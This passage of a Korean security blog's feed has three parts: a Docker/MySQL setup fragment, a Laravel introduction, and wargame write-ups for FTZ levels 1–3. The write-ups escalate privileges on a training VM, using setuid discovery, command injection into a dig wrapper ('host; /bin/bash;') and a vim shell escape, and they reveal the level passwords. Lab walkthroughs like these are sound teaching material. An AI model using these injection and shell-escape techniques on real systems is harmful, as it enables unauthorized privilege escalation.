ENV DEBIAN_FRONTEND=noninteractive \
    DEBCONF_NONINTERACTIVE_SEEN=true \
    LC_ALL=${OS_LOCALE} \
    LANG=${OS_LOCALE}

# COPY schema.sql /docker-entrypoint-initdb.d
# RUN chmod -R o+r /docker-entrypoint-initdb.d

# Secure-file-priv Disable
# RUN echo &quot;secure-file-priv=\&quot;\&quot;&quot; &gt;&gt; /etc/mysql/conf.d/docker.cnf

EXPOSE 3306 33060

CMD [ &quot;mysqld&quot;, &quot;--character-set-server=utf8mb4&quot;, &quot;--collation-server=utf8mb4_unicode_ci&quot;, &quot;--skip-character-set-client-handshake&quot;, &quot;--innodb-flush-log-at-trx-commit=0&quot; ]
</code></pre>
<p><strong>./mysql/Dockerfile</strong></p>
<p>Mysql 전용 Dockerfile입니다. 추후에 Laravel를 통하여 Mysql에 회원가입 정보를 저장하기 위해 사용할 예정입니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">$ sudo docker-compose up -d
</code></pre>
<p>위 명령어를 통하여 도커 환경을 자동 셋팅합니다.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PHP MVC - Laravel (라라벨)이란?]]></title><description><![CDATA[라라벨 LTS 릴리즈 버전 경우 버그 수정 기간 2년, 보안 패치 기간 3년 동안 유지보수 제공됩니다.
또한 라라벨은 PHP MVC 패턴의 오픈소스 웹 프레임워크입니다.]]></description><link>https://blog.d0ngd0nge.xyz/laravel_info/</link><guid isPermaLink="false">5f2cb5f4413b3f472a65fc3f</guid><category><![CDATA[laravel]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Wed, 29 Jul 2020 02:01:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.07.29</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p><img src="https://laravel.com/img/logomark.min.svg"> <img src="https://laravel.com/img/logotype.min.svg"><br>
라라벨 LTS 릴리즈 버전 경우 버그 수정 기간 2년, 보안 패치 기간 3년 동안 유지보수 제공됩니다.<br>
<br><br>
또한 라라벨은 PHP MVC 패턴의 오픈소스 웹 프레임워크입니다. <br><br>
MVC란? - (<strong>Model</strong>, <strong>View</strong>, <strong>Controller</strong>) 아키텍처 패턴 기반으로 개발된 프로젝트로 추후 웹 유지보수 및 확장시에 보다 편하고 빠르게 진행할 수 개발 방법을 말합니다. <br><br><br>
그외 라라벨 공식 사이트에서는 아래와 같은 문구가 존재합니다. <br><br>
<b style="color: #ff0000; margin 0;">&quot;The PHP Framework for Web Artisans&quot;</b> <br>즉, <strong>웹 장인을 위한 PHP 프레임 워크</strong> 쓰여져 있으며,&quot;<strong>Laravel은 표현력 있고 우아한 구문을 가추고 있는 웹 프레임 워크이며, 자유롭게 만들 수 있는 뼈대(프레임워크)를 마련했다.</strong>&quot;표현하고 있습니다.  <br><br></p>
<p>2016년 당시 해외에서 라라벨의 인기는 높았으나, 현재까지도 라라벨에 관한 국내에서 자료가 적어 직접 공식 홈페이지 및 API를 참조하여 공부해보고 관련 프로젝트를 진행하려고 합니다. <br><br><br>
&quot;라라벨&quot;은 기존 PHP 코드에 대한 이해력과 프로젝트 경험 있는 상태에서 진행하는게 나을 것 같습니다. 해당 프레임 워크는 입문자용이 아닌 경험이 있는 상태에서 진행을 하셔야 보다 좀 이해를 할 수 있는 것 같습니다 ㅠㅠ <br><br><br>
직접 PHP 프레임워크를 제작하여 구현도 해봤으나 라라벨 처럼 어렵고 API가 많은건 처음보았습니다...<br>
<br><br>
요약하자면<br>
보안 관점에서는 해당 PHP 프레임워크는 기본적으로 시큐어코딩이 되어 있습니다.<br>
(CSRF 토큰사용, SQL Injection 대응으로 PDO-Prepare Statement, XSS 대응으로 HTML Entity 변환, PHP 파일 직접 참조 불가능하게 대응으로 Rewrite 사용 등 여러가지 구현되어 있습니다.)<br>
하지만 저처럼 프로젝트로 취약한 웹사이트(모의해킹 훈련용)를 개발하기에는 적당하지가 않더라구요. <br><br>
그러면 반대로 개발자 입장에서 보면 라라벨은 MVC 패턴을 사용하기에 쉽고 빠르게 유지보수를 할 수 있다는게 장점인것 같습니다. (예를 들어 여러 개발자가 있고 대규모 프로젝트다 라고 한다면, View에는 사용자에게 출력할 HTML를 사용하여 출력하면되고 Python Flask의 Jinja 문법 처럼 라라벨도 블레이드 문법을 사용하여 처리하며, 사용자에게 요청받은 URL은 컨트롤러에서 적절하게 처리한뒤 Model를 통하여 로직을 처리할 수 있습니다.) 그러면 이게 왜?? 장점이 될까? 생각을 할 수 있는데요. <br><br>
보다 쉽고 간단하게 설명드리자면 만약 &quot;게시판 웹사이트&quot;를 개발한다면 여기서 게시판이 10개가 존재한다면 중복되는 코드라인이 분명 있을텐데 이걸 페이지 코드 마다 중복되어 사용하면 추후에 변경(유지보수)시 10개의 php 코드를 수정해야 합니다. 하지만 MVC 패턴을 사용한다면 게시판 로직 관련 Model만 변경하면 나머지 게시판 로직도 불러와서 사용하기에 편하게 수정할 수 있습니다.</p>
<p><br><br><br></p>
<hr>
<br>
<p><a href="https://laravel.com/docs/">https://laravel.com/docs/</a><br>
본 글은 라라벨 공식 홈페이지 Doc자료를 참조하여 정리하였습니다.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[FTZ_3 Write UP]]></title><description><![CDATA[<!--kg-card-begin: markdown--><pre><code class="language-bash">[level3@ftz level3]$ ls
hint  public_html  tmp

[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( &quot;Auto Digger Version 0.</code></pre>]]></description><link>https://blog.d0ngd0nge.xyz/ftz_3-write-up/</link><guid isPermaLink="false">5e36f60eac115105ddef0eed</guid><category><![CDATA[FTZ & LOB]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Sun, 02 Feb 2020 17:43:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><pre><code class="language-bash">[level3@ftz level3]$ ls
hint  public_html  tmp

[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( &quot;Auto Digger Version 0.9\n&quot; );
        printf( &quot;Usage : %s host\n&quot;, argv[0] );
        exit(0);
    }

    strcpy( cmd, &quot;dig @&quot; );
    strcat( cmd, argv[1] );
    strcat( cmd, &quot; version.bind chaos txt&quot;);

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?


[level3@ftz level3]$
</code></pre>
<p><br><br><br></p>
<p>level4의 권한을 얻기 위해 힌트를 살펴보면, C언어 코드로 system 함수를 사용하여 권한을 얻을 수 있다.</p>
<p>코드의 로직을 구체적으로 살펴보면, 프로그램 실행 시 인자 한 개를 입력받습니다. 이때 인자를 전달하지 않으면, 프로그램은 종료됩니다.</p>
<p>strcpy 함수를 통해 cmd 배열에 &quot;<strong>dig @</strong>&quot; 문자열이 복사되고, strcat 함수를 통해 사용자에게 전달받은 인자를 합치며, 그 뒤에는 &quot; <strong>version.bind chaos txt</strong>&quot; 문자열이 연결됩니다.</p>
<p>즉, <strong>system(&quot;dig @인자 version.bind chaos txt&quot;)</strong> 형태로 함수가 실행됩니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">[level3@ftz level3]$ find / -perm +4000 -user level4 2&gt;/dev/null
/bin/autodig
</code></pre>
<pre><code class="language-bash">[level3@ftz level3]$ ls -la /bin/autodig
-rwsr-x---    1 level4   level3      12194  9월 10  2011 /bin/autodig
</code></pre>
<pre><code class="language-bash">[level3@ftz level3]$ /bin/autodig
Auto Digger Version 0.9
Usage : /bin/autodig host
</code></pre>
<pre><code class="language-bash">[level3@ftz level3]$ /bin/autodig blog.d0ngd0nge.xyz

; &lt;&lt;&gt;&gt; DiG 9.2.1 &lt;&lt;&gt;&gt; @blog.d0ngd0nge.xyz version.bind chaos txt
;; global options:  printcmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 42359
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;version.bind.			CH	TXT

;; ANSWER SECTION:
version.bind.		0	CH	TXT	&quot;DNSServer&quot;

;; AUTHORITY SECTION:
version.bind.		0	CH	NS	version.bind.

;; Query time: 1 msec
;; SERVER: 183.109.94.101#53(blog.d0ngd0nge.xyz)
;; WHEN: Sat Jan 18 02:00:17 2020
;; MSG SIZE  rcvd: 66
</code></pre>
<br>
<p>우선 level4 권한으로 setuid 설정된 파일을 찾기 위해 &quot;<strong>find</strong>&quot; 명령을 사용하여 찾습니다.</p>
<p>&quot;<strong>/bin/autodig</strong>&quot; 프로그램 실행 시 인자로 DNS 조회할 도메인을 받습니다.</p>
<p>이때 도메인을 입력하지 않으면 프로그램을 종료되고, 반대로 입력을 하게 되면 DNS를 조회하여 값을 반환하게 됩니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">[level3@ftz level3]$ /bin/autodig &quot;blog.d0ngd0nge.xyz; id; &quot;

; &lt;&lt;&gt;&gt; DiG 9.2.1 &lt;&lt;&gt;&gt; @blog.d0ngd0nge.xyz
;; global options:  printcmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: REFUSED, id: 21852
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;.				IN	NS

;; Query time: 1 msec
;; SERVER: 183.109.94.101#53(blog.d0ngd0nge.xyz)
;; WHEN: Sat Jan 18 02:14:59 2020
;; MSG SIZE  rcvd: 17

uid=3004(level4) gid=3003(level3) groups=3003(level3)
sh: line 1: version.bind: command not found

[level3@ftz level3]$
</code></pre>
<br>
<p><strong>blog.d0ngd0nge.xyz</strong>와 <strong>id</strong> 인자를 전달할 때 두 개가 전달되므로, 더블 쿼터(<strong>&quot;</strong>)로 감싸 하나의 인자의 문자열로 전달해주고, 세미콜론(<strong>;</strong>)을 사용하여 우회하여 다른 명령을 실행시킬 수 있습니다.</p>
<p><strong>/bin/autodig &quot;blog.d0ngd0nge.xyz; id; &quot;</strong> 에서 <strong>/bin/autodig &quot;blog.d0ngd0nge.xyz;</strong> 함수가 먼저 실행되고, 뒤에 <strong>id</strong> 함수가 실행이 되어 level4 권한으로 실행되는걸 확인할 수 있습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">[level3@ftz level3]$ /bin/autodig &quot;blog.d0ngd0nge.xyz; my-pass; &quot;

; &lt;&lt;&gt;&gt; DiG 9.2.1 &lt;&lt;&gt;&gt; @blog.d0ngd0nge.xyz
;; global options:  printcmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: REFUSED, id: 12610
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;.				IN	NS

;; Query time: 1 msec
;; SERVER: 183.109.94.101#53(blog.d0ngd0nge.xyz)
;; WHEN: Sat Jan 18 02:23:42 2020
;; MSG SIZE  rcvd: 17

Level4 Password is &quot;suck my brain&quot;.

sh: line 1: version.bind: command not found

[level3@ftz level3]$
</code></pre>
<br>
<p>앞전 <strong>id</strong> 명령어 대신 <strong>my-pass</strong> 함수를 실행하여, level4 계정의 패스워드를 획득할 수 있습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">[level3@ftz level3]$ /bin/autodig &quot;blog.d0ngd0nge.xyz; /bin/bash; &quot;

; &lt;&lt;&gt;&gt; DiG 9.2.1 &lt;&lt;&gt;&gt; @blog.d0ngd0nge.xyz
;; global options:  printcmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: REFUSED, id: 46039
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;.				IN	NS

;; Query time: 1 msec
;; SERVER: 183.109.94.101#53(blog.d0ngd0nge.xyz)
;; WHEN: Sat Jan 18 02:25:44 2020
;; MSG SIZE  rcvd: 17

[level4@ftz level3]$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)

[level4@ftz level3]$
</code></pre>
<br>
<p>하지만 level4 권한의 shell을 계속 유지를 하고 싶다면 인자에 &quot;<strong>/bin/bash</strong>&quot;를 전달하여 shell을 유지할 수 있습니다.</p>
<p><br><br><br></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[FTZ_2 Write UP]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>ssh로 다시 level2로 로그인하면 아래와 같이 힌트를 찾을 수 있습니다.</p>
<pre><code class="language-bash">[level2@ftz level2]$ ls
hint  public_html  tmp
[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


[level2@ftz level2]$
</code></pre>
<br>
<p>힌트는 텍스트 파일 편집기를 사용해 FTZ 1번 문제와 동일하게 푸는 것 같습니다.</p>
<p>우선 level3로 setuid</p>]]></description><link>https://blog.d0ngd0nge.xyz/ftz_2/</link><guid isPermaLink="false">5e231e259ad1c10ea4e8b526</guid><category><![CDATA[FTZ & LOB]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Sat, 18 Jan 2020 15:20:36 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>ssh로 다시 level2로 로그인하면 아래와 같이 힌트를 찾을 수 있습니다.</p>
<pre><code class="language-bash">[level2@ftz level2]$ ls
hint  public_html  tmp
[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


[level2@ftz level2]$
</code></pre>
<br>
<p>힌트는 텍스트 파일 편집기를 사용해 FTZ 1번 문제와 동일하게 푸는 것 같습니다.</p>
<p>우선 level3로 setuid 설정된 파일을 찾아보도록 하겠습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">[level2@ftz level2]$ find / -perm +4000 -user level3 2&gt;/dev/null
/usr/bin/editorbash
</code></pre>
<br>
<p>위와 같이 level3 권한으로 setuid가 설정된 파일 하나를 볼 수 있습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">[level2@ftz level2]$ /usr/bin/editor

~
~
~                                  VIM - Vi IMproved
~
~                                   version 6.1.320
~                               by Bram Moolenaar et al.
~                     Vim is open source and freely distributable
~
~                            Help poor children in Uganda!
~                    type  :help iccf&lt;Enter&gt;       for information
~
~                    type  :q&lt;Enter&gt;               to exit
~                    type  :help&lt;Enter&gt;  or  &lt;F1&gt;  for on-line help
~                    type  :help version6&lt;Enter&gt;   for version info
~
~
</code></pre>
<br>
<p>해당 파일을 실행시키면 &quot;<strong>vim</strong>&quot; 프로그램이 작동되는 걸 볼 수 있습니다.</p>
<p>그러면 문제를 풀기 전 해당 로직을 분석하기 위해 GDB로 뚜따 해보겠습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">[level2@ftz level2]$ cp /usr/bin/editor tmp/
[level2@ftz level2]$ gdb -q tmp/editor
(gdb) disass main
Dump of assembler code for function main:
0x08048360 &lt;main+0&gt;:	push   %ebp
0x08048361 &lt;main+1&gt;:	mov    %esp,%ebp
0x08048363 &lt;main+3&gt;:	sub    $0x8,%esp
0x08048366 &lt;main+6&gt;:	and    $0xfffffff0,%esp
0x08048369 &lt;main+9&gt;:	mov    $0x0,%eax
0x0804836e &lt;main+14&gt;:	sub    %eax,%esp
0x08048370 &lt;main+16&gt;:	sub    $0x8,%esp
0x08048373 &lt;main+19&gt;:	push   $0xbbb
0x08048378 &lt;main+24&gt;:	push   $0xbbb
0x0804837d &lt;main+29&gt;:	call   0x80482a0 &lt;setreuid&gt;
0x08048382 &lt;main+34&gt;:	add    $0x10,%esp
0x08048385 &lt;main+37&gt;:	sub    $0xc,%esp
0x08048388 &lt;main+40&gt;:	push   $0x8048444
0x0804838d &lt;main+45&gt;:	call   0x8048280 &lt;system&gt;
0x08048392 &lt;main+50&gt;:	add    $0x10,%esp
0x08048395 &lt;main+53&gt;:	leave
0x08048396 &lt;main+54&gt;:	ret
0x08048397 &lt;main+55&gt;:	nop
End of assembler dump.
(gdb) x/s 0x8048444
0x8048444 &lt;_IO_stdin_used+4&gt;:	 &quot;/bin/vi&quot;
</code></pre>
<br>
<pre><code class="language-bash">[level2@ftz level2]$ echo $((0xbbb))
3003
</code></pre>
<br>
<p>이번에는 프로그램 로직이 단순합니다. setreuid 함수와 system 함수를 사용하고 있습니다.</p>
<p>로직을 분석해보면 &quot;<strong>PUSH $0xbbb</strong>&quot;는 10진수로 3003이므로, <strong>setreuid(3003, 3003)</strong> 함수가 실행되어 level3 권한을 부여 받습니다.</p>
<p>부여 받은 권한으로 <strong>system(&quot;/bin/vi&quot;)</strong> 함수를 실행하여 에디터를 작동시킵니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">[level2@ftz level2]$ /usr/bin/editor

~                                  VIM - Vi IMproved
~
~                                   version 6.1.320
~                               by Bram Moolenaar et al.
~                     Vim is open source and freely distributable
~
~                            Help poor children in Uganda!
~                    type  :help iccf&lt;Enter&gt;       for information
~
~                    type  :q&lt;Enter&gt;               to exit
~                    type  :help&lt;Enter&gt;  or  &lt;F1&gt;  for on-line help
~                    type  :help version6&lt;Enter&gt;   for version info
~
~
~
~
~
~
~
~
:!/bin/bash
</code></pre>
<br>
<pre><code class="language-bash">[level3@ftz level2]$ ls -la
합계 80
drwxr-xr-x    4 root     level2       4096  4월 19  2002 .
drwxr-xr-x   34 root     root         4096  9월 10  2011 ..
-rw-r--r--    1 root     root          245  9월 24  2000 .Xdefaults
-rw-------    1 root     root            1  1월 15  2010 .bash_history
-rw-r--r--    1 root     root           24  2월 24  2002 .bash_logout
-rw-r--r--    1 root     root          224  2월 24  2002 .bash_profile
-rw-r--r--    1 root     root          151  2월 24  2002 .bashrc
-rw-r--r--    1 root     root          400  9월 24  2000 .cshrc
-rw-r--r--    1 root     root         4742  9월 24  2000 .emacs
-rw-rw-r--    1 root     root          162  3월 10  2000 .epems
-r--r--r--    1 root     root          319  9월 24  2000 .gtkrc
-rw-r--r--    1 root     root          100  9월 24  2000 .gvimrc
-rw-r--r--    1 root     root          226  9월 24  2000 .muttrc
-rw-r--r--    1 root     root          367  9월 24  2000 .profile
-rw-r--r--    1 root     root            0 10월 27  2002 .viminfo
-rw-r--r--    1 root     root         4145  9월 24  2000 .vimrc
-rw-r--r--    1 root     root           60  3월 23  2000 hint
drwxr-xr-x    2 root     level2       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level2       4096  1월 18 01:03 tmp

[level3@ftz level2]$ id
uid=3003(level3) gid=3002(level2) groups=3002(level2)
[level3@ftz level2]$ my-pass

Level3 Password is &quot;can you fly?&quot;.

[level3@ftz level2]$
</code></pre>
<br>
<p>vim 에디터를 이용하여 &quot;<strong>:!/bin/bash</strong>&quot; 명령을 사용하여 level3 권한으로 shell를 사용하여 level3 패스워드를 알 수 있습니다.</p>
<p><br><br><br></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[FTZ_1 Write UP]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h2 id="ftz1writeup">[FTZ 1번 Write UP ]</h2>
<p><b>본 Write UP은 MacBook Pro 기준으로 작성되었습니다. <br><br>
올해 2020년부터는 시스템 해킹 관련 공부를 다시 복습하여 블로그에 포스팅하려고 합니다.<br>
</b></p>
<p><br><br><br><br></p>
<pre><code class="language-bash">??  ~ ssh -c aes128-cbc level1@172.16.212.129

level1@172.16.212.129's password:

[level1@ftz level1]$ ls
hint  public_html  tmp


[level1@ftz level1]$ cat hint


level2</code></pre>]]></description><link>https://blog.d0ngd0nge.xyz/ftz_1/</link><guid isPermaLink="false">5e20733b9ad1c10ea4e8b4c0</guid><category><![CDATA[FTZ & LOB]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Thu, 16 Jan 2020 14:41:31 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="ftz1writeup">[FTZ 1번 Write UP ]</h2>
<p><b>본 Write UP은 MacBook Pro 기준으로 작성되었습니다. <br><br>
올해 2020년부터는 시스템 해킹 관련 공부를 다시 복습하여 블로그에 포스팅하려고 합니다.<br>
</b></p>
<p><br><br><br><br></p>
<pre><code class="language-bash">??  ~ ssh -c aes128-cbc level1@172.16.212.129

level1@172.16.212.129's password:

[level1@ftz level1]$ ls
hint  public_html  tmp


[level1@ftz level1]$ cat hint


level2 권한에 setuid가 걸린 파일을 찾는다.


[level1@ftz level1]$
</code></pre>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>cat 명령어로 힌트를 살펴보니 &quot;<strong>level2 권한으로 Setuid가 설정된 파일을 찾는다</strong>&quot; 라고 쓰여 있습니다. <br><br>
즉, 해당 파일을 찾아 실행 또는 읽으면 문제가 풀리는 것 같네요.</p>
<ul>
<li>setuid란?<br>
&quot;<strong>리눅스 특수권한</strong>&quot; 이라고 하며, 파일을 실행시 일시적으로 파일의 소유자 권한으로 실행이 되는것을 말합니다.<br>
예를 들어 해당 파일이 &quot;<strong>root</strong>&quot;의 소유자면 일반 계정의 사용자가 해당 파일을 실행함으로 일시적으로 루트 권한으로 해당 파일이 실행됩니다.</li>
</ul>
<p><br><br><br><br></p>
<pre><code class="language-bash">[level1@ftz level1]$ find --help | grep perm
      -nouser -nogroup -path PATTERN -perm [+-]MODE -regex PATTERN
      
[level1@ftz level1]$
</code></pre>
<br>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>find 명령의 옵션 중 &quot;<strong>-perm</strong>&quot; 옵션을 사용하여 해당 모드를 기준으로 조회할 수 있습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">[level1@ftz level1]$ find / -perm +4000 -user level2 2&gt;/dev/null

/bin/ExecuteMe
</code></pre>
<br>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>&quot;<strong>find / -perm +4000 -user level2 2&gt;/dev/null</strong>&quot; 명령을 사용하여 힌트에서 원하는 파일을 찾을 수 있게 되었습니다. 그러면 이제 해당 옵션을 알아보도록 하겠습니다.</p>
<ul>
<li>
<p><strong>find /</strong><br>
&quot;find&quot; 명령어를 사용하여 최상위(/) 디렉토리에서부터 찾는다</p>
</li>
<li>
<p><strong>-perm +4000</strong><br>
Setuid는 4000이므로, Setuid가 설정된 파일을 옵션으로 설정</p>
</li>
<li>
<p><strong>-user level2</strong><br>
소유자가 &quot;level2&quot;인 파일</p>
</li>
<li>
<p><strong>2&gt;/dev/null</strong><br>
STDERR(2) 표준 에러를 /dev/null로 버린다.</p>
</li>
</ul>
<p>해당 옵션을 사용하여 &quot;<strong>/bin/ExecuteMe</strong>&quot; 파일을 찾을 수 있게 되었습니다.</p>
<p><br><br><br><br></p>
<pre><code class="language-bash">[level1@ftz level1]$ find / -perm +4000 -user level2 -exec ls -la {} \; 2&gt;/dev/null

-rwsr-x---    1 level2   level1      12868  9월 10  2011 /bin/ExecuteMe
</code></pre>
<br>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>find 명령에 &quot;<strong>-exec</strong>&quot; 옵션을 추가하여 추가적인 명령을 사용할 수 있습니다.<br>
&quot;<strong>ls -la</strong>&quot; 명령을 통해 해당 파일의 소유자 및 그룹권한을 확인하면 Setuid로 소유자가 &quot;<strong>level2</strong>&quot;로 되어 있으며, 그룹은 &quot;<strong>level1</strong>&quot;으로 설정되어있습니다.</p>
<p><br><br><br><br></p>
<pre><code class="language-bash">[level1@ftz level1]$ find / -perm +4000 -user level2;
find: /lost+found: 허가 거부됨
find: /boot/lost+found: 허가 거부됨
find: /proc/1/fd: 허가 거부됨
find: /proc/2/fd: 허가 거부됨
find: /proc/3/fd: 허가 거부됨
find: /proc/4/fd: 허가 거부됨
find: /proc/9/fd: 허가 거부됨
find: /proc/5/fd: 허가 거부됨
find: /proc/6/fd: 허가 거부됨
find: /proc/7/fd: 허가 거부됨
find: /proc/8/fd: 허가 거부됨
find: /proc/10/fd: 허가 거부됨
find: /proc/11/fd: 허가 거부됨
find: /proc/19/fd: 허가 거부됨
find: /proc/74/fd: 허가 거부됨
find: /proc/2222/fd: 허가 거부됨
find: /proc/2535/fd: 허가 거부됨
find: /proc/2589/fd: 허가 거부됨
find: /proc/2593/fd: 허가 거부됨
find: /proc/2603/fd: 허가 거부됨
find: /proc/2622/fd: 허가 거부됨
find: /proc/2686/fd: 허가 거부됨
find: /proc/2723/fd: 허가 거부됨
find: /proc/2757/fd: 허가 거부됨
find: /proc/2766/fd: 허가 거부됨
find: /proc/2776/fd: 허가 거부됨
find: /proc/2785/fd: 허가 거부됨
find: /proc/2794/fd: 허가 거부됨
find: /proc/2837/fd: 허가 거부됨
find: /proc/2846/fd: 허가 거부됨
find: /proc/.2867/fd: 허가 거부됨
find: /proc/.2868/fd: 허가 거부됨
find: /proc/.2869/fd: 허가 거부됨
find: /proc/.2870/fd: 허가 거부됨
find: /proc/2876/fd: 허가 거부됨
find: /proc/.2877/fd: 허가 거부됨
find: /proc/.2878/fd: 허가 거부됨
find: /proc/.2879/fd: 허가 거부됨
find: /proc/.2880/fd: 허가 거부됨
find: /proc/2924/fd: 허가 거부됨
find: /proc/2925/fd: 허가 거부됨
find: /proc/2926/fd: 허가 거부됨
find: /proc/2927/fd: 허가 거부됨
find: /proc/2928/fd: 허가 거부됨
find: /proc/2929/fd: 허가 거부됨
find: /proc/2930/fd: 허가 거부됨
find: /proc/2931/fd: 허가 거부됨
find: /proc/10742/fd: 허가 거부됨
find: /proc/12013/fd: 허가 거부됨
find: /proc/12015/fd: 허가 거부됨
find: /var/lib/slocate: 허가 거부됨
find: /var/lib/nfs/statd: 허가 거부됨
find: /var/lib/dav: 허가 거부됨
find: /var/lib/mysql/mysql: 허가 거부됨
find: /var/lib/mysql/test: 허가 거부됨
find: /var/lib/pgsql: 허가 거부됨
find: /var/log/httpd: 허가 거부됨
find: /var/log/squid: 허가 거부됨
find: /var/log/samba: 허가 거부됨
find: /var/cache/mod_ssl: 허가 거부됨
find: /var/cache/alchemist/printconf.rpm: 허가 거부됨
find: /var/cache/alchemist/printconf.local: 허가 거부됨
find: /var/run/sudo: 허가 거부됨
find: /var/spool/at: 허가 거부됨
find: /var/spool/clientmqueue: 허가 거부됨
find: /var/spool/mqueue: 허가 거부됨
find: /var/spool/cron: 허가 거부됨
find: /var/spool/squid: 허가 거부됨
find: /var/empty/sshd: 허가 거부됨
find: /var/tux: 허가 거부됨
find: /etc/sysconfig/pgsql: 허가 거부됨
find: /etc/default: 허가 거부됨
find: /etc/httpd/conf/ssl.crl: 허가 거부됨
find: /etc/httpd/conf/ssl.crt: 허가 거부됨
find: /etc/httpd/conf/ssl.csr: 허가 거부됨
find: /etc/httpd/conf/ssl.key: 허가 거부됨
find: /etc/httpd/conf/ssl.prm: 허가 거부됨
find: /root: 허가 거부됨
find: /usr/share/ssl/CA: 허가 거부됨
/bin/ExecuteMe
find: /home/clear: 허가 거부됨
find: /home/level10/program: 허가 거부됨
find: /home/level5/tmp: 허가 거부됨
find: /home/trainer1: 허가 거부됨
find: /home/trainer10: 허가 거부됨
find: /home/trainer2: 허가 거부됨
find: /home/trainer3: 허가 거부됨
find: /home/trainer4: 허가 거부됨
find: /home/trainer5: 허가 거부됨
find: /home/trainer6: 허가 거부됨
find: /home/trainer7: 허가 거부됨
find: /home/trainer8: 허가 거부됨
find: /home/trainer9: 허가 거부됨
[level1@ftz level1]$
</code></pre>
<br>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>find 명령을 사용 시 &quot;<strong>2&gt;/dev/null</strong>&quot; 옵션을 사용하지 않는다면 위 사진처럼 권한이 없는 파일에는 &quot;<strong>허가 거부됨</strong>&quot; 에러 메시지가 불필요하게 출력됩니다.</p>
<p>이를 정리(표시되지 않게)를 위해 표준 에러는 /dev/null로 보내 화면에 표시되지 않도록 합니다.</p>
<pre><code class="language-bash">[level1@ftz level1]$ find / -perm +4000 -user level2 -exec ls -la {} \;  2&gt;/dev/null

-rwsr-x---    1 level2   level1      12868  9월 10  2011 /bin/ExecuteMe
</code></pre>
<p>해당 파일을 실행시켜 보도록 하겠습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">		레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ ls


hint  public_html  tmp
</code></pre>
<p><br><br><br></p>
<pre><code class="language-bash">		레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ cat hint




텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


[level1@ftz level1]$
</code></pre>
<br>
<p>힌트를 확인해보면, &quot;<strong>텍스트 파일 편집기를 이용해서 쉘에 명령을 실행시킬수있다</strong>&quot; 형식으로 힌트를 제공하고 있습니다.</p>
<p>그러면 힌트를 통해 문제를 풀어보기전 해당 바이너리를 <strong>gdb</strong>로 뚜따 해보겠습니다.</p>
<p><br><br><br></p>
